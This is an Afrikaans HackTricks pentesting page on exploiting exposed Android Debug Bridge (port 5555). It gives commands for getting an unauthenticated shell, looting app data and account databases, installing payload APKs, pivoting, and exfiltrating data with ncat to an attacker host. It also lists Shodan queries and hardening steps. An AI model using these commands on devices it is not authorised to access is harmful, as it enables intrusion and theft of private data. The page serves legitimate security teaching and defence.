5555 - Android Debug Bridge
Reading time: 7 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Van die dokumentasie:
Android Debug Bridge (adb) is 'n opdraglyn hulpmiddel om te kommunikeer met Android-gebaseerde toestelle en emulators. Tipiese aksies sluit in die installering van pakkette, debuggings, en die verkryging van 'n interaktiewe Unix-skaal op die toestel.
- Historiese standaard TCP-poort: 5555 (klassieke "adb tcpip" modus).
- Moderne Draadlose debugging (Android 11+) gebruik TLS-pairing en mDNS-diensontdekking. Die verbindingspoort is dinamies en word ontdek via mDNS; dit mag nie 5555 wees nie. Pairing word gedoen met adb pair host:port gevolg deur adb connect. Sien die notas hieronder vir offensiewe implikasies.
Voorbeeld nmap vingerafdruk:
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
Verbind
As jy ADB blootgestel en bereikbaar vind, probeer om vinnig te verbind en te tel:
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
- As die toestel ADB-outeurting afdwing (ro.adb.secure=1), sal jy vooraf geoutoriseer moet wees (USB RSA auth) of Android 11+ Draadlose foutopsporing paar (wat 'n eenmalige kode vereis wat op die toestel vertoon word).
- Sommige verskafferbeelde, ingenieurs-/gebruikersdebug-bou, emulators, TV's, STB's en ontwikkelingskits stel adbd bloot sonder outeurting of met adbd wat as root loop. In daardie gevalle sal jy tipies direk in 'n shell of root shell beland.
Vir 'n algemene ADB-opdragverwysing, sien:
Vinnige Post-Exploitasie
Sodra jy shell het, valideer voorregte en SELinux-konteks:
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
Lys en vang data
- Lys derdeparty-apps en paaie:
pm list packages -3
pm path <pkg>
- As jy root het (adb root of su werk), kan jy direk toegang tot /data hê. Indien nie, verkies run-as vir debuggable apps:
# Sonder root, vir 'n debuggable app
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Met root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
- Nuttige stelseldokumente (root benodig):
- /data/system/users/0/accounts.db en verwante AccountManager data
- /data/misc/wifi/ (netwerk konfigurasies/sleutels op ouer weergawes)
- App-spesifieke SQLite DB's en shared_prefs onder /data/data/
Jy kan dit gebruik om sensitiewe inligting te verkry (bv. app geheime). Vir notas oor Chrome data oorwegings, sien die probleem waarna verwys word hier.
Kode-uitvoering en payload aflewering
- Installeer en outomaties runtime toestemmings toeken:
adb install -r -g payload.apk # -g gee alle runtime perms soos verklaar in manifest
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
- Begin aktiwiteite/dienste/uitsendings direk:
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
Poort forwarding en pivotering
Selfs sonder root, kan adb plaaslike poorte na toestelpoorte en omgekeerd forward. Dit is nuttig om toegang te verkry tot dienste wat plaaslik op die toestel gebind is of om aanvaller dienste aan die toestel bloot te stel.
- Forward host->toestel (toegang tot 'n toestel-lokale diens vanaf jou gasheer):
adb forward tcp:2222 tcp:22 # As toestel SSH loop (bv. Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Blootstel app se plaaslike debug bediener
- Omgekeerde toestel->gasheer (laat die toestel 'n diens op jou gasheer bereik):
adb reverse tcp:1080 tcp:1080 # Toestel apps kan nou gasheer:1080 as 127.0.0.1:1080 bereik
- Lêer eksfiltrasie oor sokke (geen sdcard skrywe):
# Op gasheer: luister
ncat -lvp 9000 > dump.tar
# Op toestel: stuur gids as tar (root of run-as soos toepaslik)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
Draadlose Debugging (Android 11+)
Moderne Android implementeer TLS-beskermde draadlose debugging met toestel-kant paar en mDNS ontdekking:
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
Notas
- Poorte is dinamies; moenie aanvaar 5555 nie. mDNS-diensname lyk soos:
- _adb-tls-pairing._tcp (pareer)
- _adb-tls-connect._tcp (gepareerde verbinding)
- _adb._tcp (erf/plat)
- As mDNS gefiltreer is, kan klassieke USB-geassisteerde aktivering steeds op sommige weergawes werk:
adb tcpip 5555
danadb connect <ip>:5555
(tot herlaai).
Aanvallende implikasies: as jy met die toestel se UI kan interaksie hê (bv. fisiese toegang of mobiele MDM-misconfigurasie) om Draadlose foutopsporing te aktiveer en die pareerkode te sien, kan jy 'n langlewe-gepareerde ADB-kanaal sonder 'n kabel tot stand bring. Sommige OEM's stel ADB oor TCP in ingenieurs-/ontwikkelingsbeelde beskikbaar sonder pareer—kontroleer altyd.
Versterking / Opsporing
Verdedigers moet aanvaar dat enige bereikbare adbd (TCP) 'n kritieke risiko is.
- Deaktiveer ADB en Draadlose foutopsporing wanneer dit nie nodig is nie. Herroep USB-foutopsporing-outeuriserings in Ontwikkelaar opsies.
- Verseker dat netwerkbeleid inkomende TCP/5555 en mDNS-gebaseerde ADB-ontdekking op onbetroubare segmente blokkeer.
- Op toestelle onder jou beheer:
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # deaktiveer TCP-luister (of gebruik: adb usb)
stop adbd; start adbd # herbegin daemon
- Monitor vir mDNS-rekords
_adb._tcp
,_adb-tls-connect._tcp
,_adb-tls-pairing._tcp
op korporatiewe netwerke en waarskuwings vir onverwagte 5555 luisteraars. - Inventariseer vir onveilige weergawes:
getprop ro.debuggable
,ro.build.type
, enro.adb.secure
.
Shodan
- android debug bridge
- port:5555 product:"Android Debug Bridge"
Verwysings
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP – ADB oor Wi‑Fi, pareer en mDNS-diensname: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.